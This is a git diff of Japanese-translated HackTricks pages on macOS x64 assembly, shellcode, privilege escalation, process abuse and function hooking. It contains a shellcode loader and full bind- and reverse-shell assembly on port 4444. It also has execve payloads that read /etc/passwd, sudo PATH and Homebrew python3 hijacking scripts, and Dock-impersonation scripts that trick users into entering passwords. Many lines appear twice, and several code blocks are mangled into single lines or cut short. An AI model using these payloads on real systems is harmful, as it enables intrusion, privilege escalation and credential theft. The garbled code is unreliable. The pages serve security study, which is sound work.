6. **`rsp`** - スタックのトップを追跡する**スタックポインタ**。
7. **`rsi`**および**`rdi`** - 文字列/メモリ操作の**ソース**および**宛先**インデックスに使用されます。
7. **`rsi`および`rdi`** - 文字列/メモリ操作の**ソース**および**宛先**インデックスに使用されます。
8. **`r8`** から **`r15`** - x64で導入された追加の汎用レジスタ。
### **呼び出し規約**
x64の呼び出し規約はオペレーティングシステムによって異なります。例えば
- **Windows**:最初の**4つのパラメータ**はレジスタ**`rcx`**、**`rdx`**、**`r8`**、**`r9`**に渡されます。追加のパラメータはスタックにプッシュされます。戻り値は**`rax`**に格納されます。
- **System VUNIXライクなシステムで一般的に使用される**:最初の**6つの整数またはポインタパラメータ**はレジスタ**`rdi`**、**`rsi`**、**`rdx`**、**`rcx`**、**`r8`**、**`r9`**に渡されます。戻り値も**`rax`**にあります。
* **Windows**:最初の**4つのパラメータ**はレジスタ\*\*`rcx`**、**`rdx`**、**`r8`**、**`r9`**に渡されます。追加のパラメータはスタックにプッシュされます。戻り値は**`rax`\*\*に格納されます。
* **System VUNIXライクなシステムで一般的に使用される**:最初の**6つの整数またはポインタパラメータ**はレジスタ\*\*`rdi`**、**`rsi`**、**`rdx`**、**`rcx`**、**`r8`**、**`r9`**に渡されます。戻り値も**`rax`\*\*にあります。
関数に6つ以上の入力がある場合、**残りはスタックに渡されます**。スタックポインタである**RSP**は**16バイトアライン**でなければならず、つまり、任意の呼び出し前に指すアドレスが16で割り切れる必要があります。通常、関数呼び出し前にRSPが適切に整列されていることを確認する必要がありますが、実際には、この要件を満たさなくてもシステムコールは多くの場合動作します。
@ -48,22 +48,22 @@ Swiftには独自の**呼び出し規約**があり、[**https://github.com/appl
x64命令には豊富なセットがあり、以前のx86命令との互換性を維持し、新しい命令を導入しています。
- **`mov`**1つの**レジスタ**または**メモリ位置**から別の場所に値を**移動**します。
- 例:`mov rax, rbx` — `rbx`から`rax`に値を移動します。
- **`push`**および**`pop`**:スタックに値を**プッシュ**または**ポップ**します。
- 例:`push rax` — `rax`の値をスタックにプッシュします。
- 例:`pop rax` — スタックのトップの値を`rax`にポップします。
- **`add`**および**`sub`****加算**および**減算**演算。
- 例:`add rax, rcx` — `rax`と`rcx`の値を加算し、結果を`rax`に格納します。
- **`mul`**および**`div`****乗算**および**除算**演算。注:これらはオペランドの使用に関して特定の動作があります。
- **`call`**および**`ret`**:関数の**呼び出し**および**戻り**に使用されます。
- **`int`**:ソフトウェアの**割り込み**をトリガーに使用されます。例32ビットx86 Linuxでは、システムコールに`int 0x80`が使用されました。
- **`cmp`**2つの値を比較し、結果に基づいてCPUのフラグを設定します。
- 例:`cmp rax, rdx` — `rax`を`rdx`と比較します。
- **`je`、`jne`、`jl`、`jge`など**:前の`cmp`またはテストの結果に基づいて制御フローを変更する**条件付きジャンプ**命令。
- 例:`cmp rax, rdx`命令の後、`je label` — `rax`が`rdx`と等しい場合、`label`にジャンプします。
- **`syscall`**一部のx64システム現代のUnixなどで**システムコール**に使用されます。
- **`sysenter`**:一部のプラットフォームで最適化された**システムコール**命令。
* **`mov`**1つの**レジスタ**または**メモリ位置**から別の場所に値を**移動**します。
* 例:`mov rax, rbx` — `rbx`から`rax`に値を移動します。
* **`push`および`pop`**:スタックに値を**プッシュ**または**ポップ**します。
* 例:`push rax` — `rax`の値をスタックにプッシュします。
* 例:`pop rax` — スタックのトップの値を`rax`にポップします。
* **`add`および`sub`****加算**および**減算**演算。
* 例:`add rax, rcx` — `rax`と`rcx`の値を加算し、結果を`rax`に格納します。
* **`mul`および`div`****乗算**および**除算**演算。注:これらはオペランドの使用に関して特定の動作があります。
* **`call`および`ret`**:関数の**呼び出し**および**戻り**に使用されます。
* **`int`**:ソフトウェアの**割り込み**をトリガーに使用されます。例32ビットx86 Linuxでは、システムコールに`int 0x80`が使用されました。
* **`cmp`**2つの値を比較し、結果に基づいてCPUのフラグを設定します。
* 例:`cmp rax, rdx` — `rax`を`rdx`と比較します。
* **`je`、`jne`、`jl`、`jge`など**:前の`cmp`またはテストの結果に基づいて制御フローを変更する**条件付きジャンプ**命令。
* 例:`cmp rax, rdx`命令の後、`je label` — `rax`が`rdx`と等しい場合、`label`にジャンプします。
* **`syscall`**一部のx64システム現代のUnixなどで**システムコール**に使用されます。
* **`sysenter`**:一部のプラットフォームで最適化された**システムコール**命令。
### **関数プロローグ**
@ -81,7 +81,8 @@ x64命令には豊富なセットがあり、以前のx86命令との互換性
### シスコール
異なるクラスのシスコールがあり、[**こちらで見つけることができます**](https://opensource.apple.com/source/xnu/xnu-1504.3.12/osfmk/mach/i386/syscall_sw.h)**:**
異なるクラスのシスコールがあり、[**こちらで見つけることができます**](https://opensource.apple.com/source/xnu/xnu-1504.3.12/osfmk/mach/i386/syscall\_sw.h)**:**
```c
#define SYSCALL_CLASS_NONE 0 /* Invalid */
#define SYSCALL_CLASS_MACH 1 /* Mach */
@ -90,7 +91,9 @@ x64命令には豊富なセットがあり、以前のx86命令との互換性
#define SYSCALL_CLASS_DIAG 4 /* Diagnostics */
#define SYSCALL_CLASS_IPC 5 /* Mach IPC */
```
次に、各システムコール番号を[**このURL**](https://opensource.apple.com/source/xnu/xnu-1504.3.12/bsd/kern/syscalls.master)**で見つけることができます。**
```c
0 AUE_NULL ALL { int nosys(void); } { indirect syscall }
1 AUE_EXIT ALL { void exit(int rval); }
@ -107,6 +110,7 @@ x64命令には豊富なセットがあり、以前のx86命令との互換性
12 AUE_CHDIR ALL { int chdir(user_addr_t path); }
[...]
```
したがって、**Unix/BSDクラス**から`open`シスコール(**5**)を呼び出すためには、`0x2000000`を追加する必要があります。
したがって、openを呼び出すためのシスコール番号は`0x2000005`になります。
@ -139,59 +143,42 @@ otool -t shell.o | grep 00 | cut -f2 -d$'\t' | sed 's/ /\\x/g' | sed 's/^/\\x/g'
<details>
<summary>シェルコードをテストするためのCコード</summary>
```c
// code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/loader.c
// gcc loader.c -o loader
#include <stdio.h>
#include <sys/mman.h>
#include <string.h>
#include <stdlib.h>
int (*sc)();
\`\`\`c // code from https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/helper/loader.c // gcc loader.c -o loader #include #include #include #include
char shellcode[] = "<INSERT SHELLCODE HERE>";
int (\*sc)();
int main(int argc, char **argv) {
printf("[>] Shellcode Length: %zd Bytes\n", strlen(shellcode));
char shellcode\[] = "";
void *ptr = mmap(0, 0x1000, PROT_WRITE | PROT_READ, MAP_ANON | MAP_PRIVATE | MAP_JIT, -1, 0);
int main(int argc, char \*\*argv) { printf("\[>] Shellcode Length: %zd Bytes\n", strlen(shellcode));
if (ptr == MAP_FAILED) {
perror("mmap");
exit(-1);
}
printf("[+] SUCCESS: mmap\n");
printf(" |-> Return = %p\n", ptr);
void \*ptr = mmap(0, 0x1000, PROT\_WRITE | PROT\_READ, MAP\_ANON | MAP\_PRIVATE | MAP\_JIT, -1, 0);
void *dst = memcpy(ptr, shellcode, sizeof(shellcode));
printf("[+] SUCCESS: memcpy\n");
printf(" |-> Return = %p\n", dst);
if (ptr == MAP\_FAILED) { perror("mmap"); exit(-1); } printf("\[+] SUCCESS: mmap\n"); printf(" |-> Return = %p\n", ptr);
int status = mprotect(ptr, 0x1000, PROT_EXEC | PROT_READ);
void \*dst = memcpy(ptr, shellcode, sizeof(shellcode)); printf("\[+] SUCCESS: memcpy\n"); printf(" |-> Return = %p\n", dst);
if (status == -1) {
perror("mprotect");
exit(-1);
}
printf("[+] SUCCESS: mprotect\n");
printf(" |-> Return = %d\n", status);
int status = mprotect(ptr, 0x1000, PROT\_EXEC | PROT\_READ);
printf("[>] Trying to execute shellcode...\n");
if (status == -1) { perror("mprotect"); exit(-1); } printf("\[+] SUCCESS: mprotect\n"); printf(" |-> Return = %d\n", status);
sc = ptr;
sc();
printf("\[>] Trying to execute shellcode...\n");
return 0;
}
```
sc = ptr; sc();
return 0; }
````
</details>
#### シェル
[**こちら**](https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/shell.s)から取得し、説明します。
{% tabs %}
{% tab title="adrを使用" %}
<div data-gb-custom-block data-tag="tabs"></div>
<div data-gb-custom-block data-tag="tab" data-title='adrを使用'>
```armasm
bits 64
global _main
@ -205,25 +192,13 @@ push 59 ; put 59 on the stack (execve syscall)
pop rax ; pop it to RAX
bts rax, 25 ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
syscall
```
{% endtab %}
````
{% tab title="スタックを使用して" %}
```armasm
bits 64
global _main
\`\`\`armasm bits 64 global \_main
_main:
xor rdx, rdx ; zero our RDX
push rdx ; push NULL string terminator
mov rbx, '/bin/zsh' ; move the path into RBX
push rbx ; push the path, to the stack
mov rdi, rsp ; store the stack pointer in RDI (arg1)
push 59 ; put 59 on the stack (execve syscall)
pop rax ; pop it to RAX
bts rax, 25 ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
syscall
```
\_main: xor rdx, rdx ; zero our RDX push rdx ; push NULL string terminator mov rbx, '/bin/zsh' ; move the path into RBX push rbx ; push the path, to the stack mov rdi, rsp ; store the stack pointer in RDI (arg1) push 59 ; put 59 on the stack (execve syscall) pop rax ; pop it to RAX bts rax, 25 ; set the 25th bit to 1 (to add 0x2000000 without using null bytes) syscall
````
#### catコマンドで読む
目標は、`execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)`を実行することです。したがって、2番目の引数x1はパラメータの配列でなければなりませんメモリ内ではアドレスのスタックを意味します
@ -256,8 +231,10 @@ syscall ; Make the syscall
section .data
cat_path: db "/bin/cat", 0
passwd_path: db "/etc/passwd", 0
```
#### shを使用してコマンドを呼び出す
````
**shを使用してコマンドを呼び出す**
```armasm
bits 64
section .text
@ -295,9 +272,11 @@ sh_path: db "/bin/sh", 0
sh_c_option: db "-c", 0
touch_command: db "touch /tmp/lalala", 0
```
#### バインドシェル
**バインドシェル**
[https://packetstormsecurity.com/files/151731/macOS-TCP-4444-Bind-Shell-Null-Free-Shellcode.html](https://packetstormsecurity.com/files/151731/macOS-TCP-4444-Bind-Shell-Null-Free-Shellcode.html)からのバインドシェルを**ポート4444**で提供します。
```armasm
section .text
global _main
@ -372,9 +351,11 @@ mov rax, r8
mov al, 0x3b
syscall
```
#### リバースシェル
**リバースシェル**
[https://packetstormsecurity.com/files/151727/macOS-127.0.0.1-4444-Reverse-Shell-Shellcode.html](https://packetstormsecurity.com/files/151727/macOS-127.0.0.1-4444-Reverse-Shell-Shellcode.html) からのリバースシェル。**127.0.0.1:4444** へのリバースシェル
```armasm
section .text
global _main
@ -436,16 +417,7 @@ mov rax, r8
mov al, 0x3b
syscall
```
<details>
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法:
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスウォッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)で**フォロー**してください。**
* **ハッキングトリックを共有するには、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。**
</details>

View file

@ -1,4 +1,4 @@
# macOS特権昇格
# macOS Privilege Escalation
<details>
@ -6,11 +6,11 @@
HackTricksをサポートする他の方法
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
- [**公式PEASSHackTricksスウォッグ**](https://peass.creator-spring.com)を入手する
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[telegramグループ](https://t.me/peass)**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)で**フォロー**する。
- **ハッキングトリックを共有するには、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。**
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスウォッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* **💬** [**Discordグループ**](https://discord.gg/hRep4RUj7f)**または**[**telegramグループ**](https://t.me/peass)**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)で**フォロー**する。
* **ハッキングトリックを共有するには、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。**
</details>
@ -36,7 +36,8 @@ Linux/Unixに影響を与える特権昇格に関するほとんどのトリッ
オリジナルの[SudoハイジャッキングテクニックはLinux特権昇格ポスト内](../../linux-hardening/privilege-escalation/#sudo-hijacking)にあります。
ただし、macOSは**`sudo`**を実行するときにユーザーの**`PATH`**を**維持**します。つまり、この攻撃を達成する別の方法は、被害者が**`sudo`**を実行するときに実行する他のバイナリを**ハイジャック**することです。
ただし、macOSは\*\*`sudo`**を実行するときにユーザーの**`PATH`**を**維持**します。つまり、この攻撃を達成する別の方法は、被害者が**`sudo`**を実行するときに実行する他のバイナリを**ハイジャック\*\*することです。
```bash
# Let's hijack ls in /opt/homebrew/bin, as this is usually already in the users PATH
cat > /opt/homebrew/bin/ls <<EOF
@ -51,15 +52,15 @@ chmod +x /opt/homebrew/bin/ls
# victim
sudo ls
```
### ドックの偽装
ターミナルを使用するユーザーはほとんどが**Homebrewをインストールしている可能性**が高いことに注意してください。そのため、**`/opt/homebrew/bin`**内のバイナリを乗っ取ることが可能です。
ターミナルを使用するユーザーはほとんどが**Homebrewをインストールしている可能性**が高いことに注意してください。そのため、\*\*`/opt/homebrew/bin`\*\*内のバイナリを乗っ取ることが可能です。
{% tabs %}
{% tab title="Chromeの偽装" %}
いくつかの提案:
* ドックでChromeがあるかどうかをチェックし、その場合はそのエントリを**削除**して、ドック配列の**同じ位置に偽のChromeエントリを追加**します。
```bash
#!/bin/sh
@ -129,16 +130,15 @@ defaults write com.apple.dock persistent-apps -array-add '<dict><key>tile-data</
sleep 0.1
killall Dock
```
{% endtab %}
{% tab title="Finder Impersonation" %}
いくつかの提案:
- **DockからFinderを削除することはできません**ので、Dockに追加する場合は、偽のFinderを本物のFinderのすぐ隣に配置することができます。そのためには、**Dock配列の先頭に偽のFinderエントリを追加する必要があります**
- 別のオプションは、Dockに配置せずに開くだけで、"FinderがFinderを制御するように要求しています"というのはそれほど奇妙ではありません。
- ルートに**パスワードを尋ねずに昇格する**別のオプションは、Finderに特権操作を実行するためのパスワードを本当に求めるようにすることです
- Finderに新しい**`sudo`**ファイルを**`/etc/pam.d`**にコピーするように要求します(パスワードを求めるプロンプトには"Finder wants to copy sudo"と表示されます)
- 新しい**認証プラグイン**をコピーするようにFinderに要求しますファイル名を制御できるため、パスワードを求めるプロンプトには"Finder wants to copy Finder.bundle"と表示されます)
* **DockからFinderを削除することはできません**ので、Dockに追加する場合は、偽のFinderを本物のFinderのすぐ隣に配置することができます。そのためには、**Dock配列の先頭に偽のFinderエントリを追加する必要があります**
* 別のオプションは、Dockに配置せずに開くだけで、"FinderがFinderを制御するように要求しています"というのはそれほど奇妙ではありません。
* ルートに**パスワードを尋ねずに昇格する**別のオプションは、Finderに特権操作を実行するためのパスワードを本当に求めるようにすることです
* Finderに新しい\*\*`sudo`**ファイルを**`/etc/pam.d`\*\*にコピーするように要求します(パスワードを求めるプロンプトには"Finder wants to copy sudo"と表示されます)
* 新しい**認証プラグイン**をコピーするようにFinderに要求しますファイル名を制御できるため、パスワードを求めるプロンプトには"Finder wants to copy Finder.bundle"と表示されます)
```bash
#!/bin/sh
@ -208,9 +208,10 @@ defaults write com.apple.dock persistent-apps -array-add '<dict><key>tile-data</
sleep 0.1
killall Dock
```
## TCC - ルート権限昇格
### CVE-2020-9771 - mount_apfs TCC バイパスと権限昇格
### CVE-2020-9771 - mount\_apfs TCC バイパスと権限昇格
**どんなユーザー**(特権を持たないユーザーでも)がタイムマシンのスナップショットを作成し、マウントし、そのスナップショットの**すべてのファイルにアクセス**できます。\
**唯一の特権**は、使用されるアプリケーション(例:`Terminal`)が**Full Disk Access**FDAアクセス`kTCCServiceSystemPolicyAllfiles`)を持つ必要があり、これは管理者によって許可される必要があります。
@ -237,7 +238,7 @@ ls /tmp/snap/Users/admin_user # This will work
```
{% endcode %}
より詳しい説明は[**元のレポート**](https://theevilbit.github.io/posts/cve\_2020\_9771/)にあります**。**
より詳しい説明は[**元のレポート**](https://theevilbit.github.io/posts/cve\_2020\_9771/)にあります\*\*。\*\*
## 機密情報
@ -256,7 +257,7 @@ HackTricksをサポートする他の方法:
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)をフォローする**.**
* **💬** [**Discordグループ**](https://discord.gg/hRep4RUj7f)**または**[**telegramグループ**](https://t.me/peass)**に参加するか、Twitter 🐦** [**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォローする**.\*\*
* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
</details>

View file

@ -1,4 +1,4 @@
# macOS プロセスの悪用
# macOS Proces Abuse
<details>
@ -9,8 +9,8 @@ HackTricks をサポートする他の方法:
* **HackTricks で企業を宣伝したい**または **HackTricks をPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[telegramグループ](https://t.me/peass)**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)を**フォロー**する。
* **ハッキングトリックを共有するために、[HackTricks](https://github.com/carlospolop/hacktricks)と[HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
* **💬** [**Discordグループ**](https://discord.gg/hRep4RUj7f)**または**[**telegramグループ**](https://t.me/peass)**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)を**フォロー**する。
* **ハッキングトリックを共有するために、**[**HackTricks**](https://github.com/carlospolop/hacktricks)****[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)**のGitHubリポジトリにPRを提出してください。**
</details>
@ -30,16 +30,16 @@ MacOSは、他のすべてのオペレーティングシステムと同様に、
関数フックは、ソフトウェアコード内の**関数呼び出し**やメッセージを**傍受**することを含みます。関数をフックすることで、攻撃者はプロセスの動作を**変更**したり、機密データを観察したり、実行フローを制御したりすることができます。
{% content-ref url="../mac-os-architecture/macos-function-hooking.md" %}
[macos-function-hooking.md](../mac-os-architecture/macos-function-hooking.md)
{% content-ref url="macos-function-hooking.md" %}
[macos-function-hooking.md](macos-function-hooking.md)
{% endcontent-ref %}
### プロセス間通信
プロセス間通信IPCは、異なるプロセスが**データを共有し交換する**さまざまな方法を指します。IPCは多くの正当なアプリケーションにとって基本的ですが、プロセスの分離を逆転させ、機密情報を漏洩させたり、不正なアクションを実行したりするために悪用されることがあります。
{% content-ref url="../mac-os-architecture/macos-ipc-inter-process-communication/" %}
[macos-ipc-inter-process-communication](../mac-os-architecture/macos-ipc-inter-process-communication/)
{% content-ref url="macos-ipc-inter-process-communication/" %}
[macos-ipc-inter-process-communication](macos-ipc-inter-process-communication/)
{% endcontent-ref %}
### Electronアプリケーションのインジェクション
@ -68,7 +68,7 @@ NIBファイルは、アプリケーション内の**ユーザーインターフ
### Javaアプリケーションのインジェクション
特定のJava機能**`_JAVA_OPTS`**環境変数などを悪用して、Javaアプリケーションが**任意のコード/コマンドを実行**することができます。
特定のJava機能**`_JAVA_OPTS`環境変数などを悪用して、Javaアプリケーションが任意のコード/コマンドを実行**することができます。
{% content-ref url="macos-java-apps-injection.md" %}
[macos-java-apps-injection.md](macos-java-apps-injection.md)
@ -76,7 +76,7 @@ NIBファイルは、アプリケーション内の**ユーザーインターフ
### .Netアプリケーションのインジェクション
macOSの保護機能ランタイムハードニングなどによって保護されていない**.Netデバッグ機能を悪用**することで、.Netアプリケーションにコードをインジェクトすることができます。
macOSの保護機能ランタイムハードニングなどによって保護されていない\*\*.Netデバッグ機能を悪用\*\*することで、.Netアプリケーションにコードをインジェクトすることができます。
{% content-ref url="macos-.net-applications-injection.md" %}
[macos-.net-applications-injection.md](macos-.net-applications-injection.md)
@ -100,35 +100,23 @@ Ruby環境変数を悪用して、任意のスクリプトが任意のコード
### Pythonインジェクション
環境変数**`PYTHONINSPECT`**が設定されている場合、PythonプロセスはPython CLIに移行します。対話セッションが終了すると、**`PYTHONSTARTUP`**を使用して対話セッションの開始時に実行するPythonスクリプトを指定することもできます。\
ただし、**`PYTHONSTARTUP`**スクリプトは、**`PYTHONINSPECT`**が対話セッションを作成するときには実行されません。
環境変数\*\*`PYTHONINSPECT`**が設定されている場合、PythonプロセスはPython CLIに移行します。対話セッションが終了すると、**`PYTHONSTARTUP`**を使用して対話セッションの開始時に実行するPythonスクリプトを指定することもできます。**\
**ただし、**`PYTHONSTARTUP`**スクリプトは、**`PYTHONINSPECT`\*\*が対話セッションを作成するときには実行されません。
**`PYTHONPATH`**や**`PYTHONHOME`**などの他の環境変数も、Pythonコマンドが任意のコードを実行するのに役立つ場合があります。
\*\*`PYTHONPATH`**や**`PYTHONHOME`\*\*などの他の環境変数も、Pythonコマンドが任意のコードを実行するのに役立つ場合があります。
**`pyinstaller`**でコンパイルされた実行可能ファイルは、埋め込まれたPythonを使用していても、これらの環境変数を使用しません。
\*\*`pyinstaller`\*\*でコンパイルされた実行可能ファイルは、埋め込まれたPythonを使用していても、これらの環境変数を使用しません。
{% hint style="danger" %}
全体的に、環境変数を悪用してPythonが任意のコードを実行する方法を見つけることができませんでした。\
ただし、ほとんどの人は**Hombrew**を使用してPythonをインストールするため、デフォルトの管理者ユーザーの**書き込み可能な場所**にPythonがインストールされます。次のようにそれを乗っ取ることができます:
```bash
mv /opt/homebrew/bin/python3 /opt/homebrew/bin/python3.old
cat > /opt/homebrew/bin/python3 <<EOF
#!/bin/bash
# Extra hijack code
/opt/homebrew/bin/python3.old "$@"
EOF
chmod +x /opt/homebrew/bin/python3
```
## 検出
全体的に、環境変数を悪用してPythonが任意のコードを実行する方法を見つけることができませんでした。\ ただし、ほとんどの人は\*\*Hombrew\*\*を使用してPythonをインストールするため、デフォルトの管理者ユーザーの\*\*書き込み可能な場所\*\*にPythonがインストールされます。次のようにそれを乗っ取ることができます: \`\`\`bash mv /opt/homebrew/bin/python3 /opt/homebrew/bin/python3.old cat > /opt/homebrew/bin/python3 <
### Shield
[**Shield**](https://theevilbit.github.io/shield/) ([**Github**](https://github.com/theevilbit/Shield)) は、次のような**プロセスインジェクション**アクションを**検出およびブロック**するオープンソースアプリケーションです:
- **環境変数**の使用:次の環境変数の存在を監視します:**`DYLD_INSERT_LIBRARIES`**、**`CFNETWORK_LIBRARY_PATH`**、**`RAWCAMERA_BUNDLE_PATH`**、**`ELECTRON_RUN_AS_NODE`**
- **`task_for_pid`** の呼び出し1つのプロセスが別のプロセスの**タスクポート**を取得しようとする場合を見つけ、プロセスにコードをインジェクトすることを可能にします。
- **Electronアプリのパラメータ**:誰かが**`--inspect`**、**`--inspect-brk`**、**`--remote-debugging-port`** のコマンドライン引数を使用してElectronアプリをデバッグモードで起動し、それにコードをインジェクトすることができます。
- **シンボリックリンク**または**ハードリンク**の使用:一般的に最も一般的な悪用方法は、**ユーザ権限でリンクを作成**し、それを**より高い権限**の場所に向けることです。ハードリンクとシンボリックリンクの検出は非常に簡単です。リンクを作成するプロセスがターゲットファイルよりも**異なる権限レベル**を持っている場合、**アラート**を作成します。残念ながら、シンボリックリンクの場合、ブロックは不可能です。リンクの宛先に関する情報が作成前にはわからないためです。これはAppleのEndpointSecuriyフレームワークの制限です。
* **環境変数**の使用:次の環境変数の存在を監視します:**`DYLD_INSERT_LIBRARIES`**、**`CFNETWORK_LIBRARY_PATH`**、**`RAWCAMERA_BUNDLE_PATH`**、**`ELECTRON_RUN_AS_NODE`**
* **`task_for_pid`** の呼び出し1つのプロセスが別のプロセスの**タスクポート**を取得しようとする場合を見つけ、プロセスにコードをインジェクトすることを可能にします。
* **Electronアプリのパラメータ**:誰かが\*\*`--inspect`**、**`--inspect-brk`**、**`--remote-debugging-port`\*\* のコマンドライン引数を使用してElectronアプリをデバッグモードで起動し、それにコードをインジェクトすることができます。
* **シンボリックリンク**または**ハードリンク**の使用:一般的に最も一般的な悪用方法は、**ユーザ権限でリンクを作成**し、それを**より高い権限**の場所に向けることです。ハードリンクとシンボリックリンクの検出は非常に簡単です。リンクを作成するプロセスがターゲットファイルよりも**異なる権限レベル**を持っている場合、**アラート**を作成します。残念ながら、シンボリックリンクの場合、ブロックは不可能です。リンクの宛先に関する情報が作成前にはわからないためです。これはAppleのEndpointSecuriyフレームワークの制限です。
### 他のプロセスによる呼び出し
@ -138,5 +126,5 @@ chmod +x /opt/homebrew/bin/python3
## 参考文献
- [https://theevilbit.github.io/shield/](https://theevilbit.github.io/shield/)
- [https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f)
* [https://theevilbit.github.io/shield/](https://theevilbit.github.io/shield/)
* [https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f)

View file

@ -0,0 +1,409 @@
# macOS Function Hooking
<details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝したい**か**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* **💬** [**Discordグループ**](https://discord.gg/hRep4RUj7f)**または**[**Telegramグループ**](https://t.me/peass)**に参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)を**フォロー**する。
* **ハッキングトリックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。**
</details>
## 関数インターポージング
**`__interpose`セクション(または`S_INTERPOSING`フラグが付いたセクション)を含む関数ポインタ**のタプルを持つ**dylib**を作成し、**元の**関数と**置換**関数を参照します。
その後、**`DYLD_INSERT_LIBRARIES`でdylibをインジェクト**します(インターポージングはメインアプリがロードされる前に発生する必要があります)。明らかに、[**`DYLD_INSERT_LIBRARIES`の使用に適用される制限**はここでも適用されます](macos-library-injection/#check-restrictions)。
### printfをインターポース
{% code title="interpose.c" %}
```c
// gcc -dynamiclib interpose.c -o interpose.dylib
#include <stdio.h>
#include <stdarg.h>
int my_printf(const char *format, ...) {
//va_list args;
//va_start(args, format);
//int ret = vprintf(format, args);
//va_end(args);
int ret = printf("Hello from interpose\n");
return ret;
}
__attribute__((used)) static struct { const void *replacement; const void *replacee; } _interpose_printf
__attribute__ ((section ("__DATA,__interpose"))) = { (const void *)(unsigned long)&my_printf, (const void *)(unsigned long)&printf };
```
{% endcode %}
```c
//gcc hello.c -o hello
#include <stdio.h>
int main() {
printf("Hello World!\n");
return 0;
}
```
#### macOS Function Hooking
macOS provides a feature called Interpose, which allows you to intercept and replace functions in shared libraries. This can be used for various purposes, including debugging, logging, and even modifying the behavior of applications.
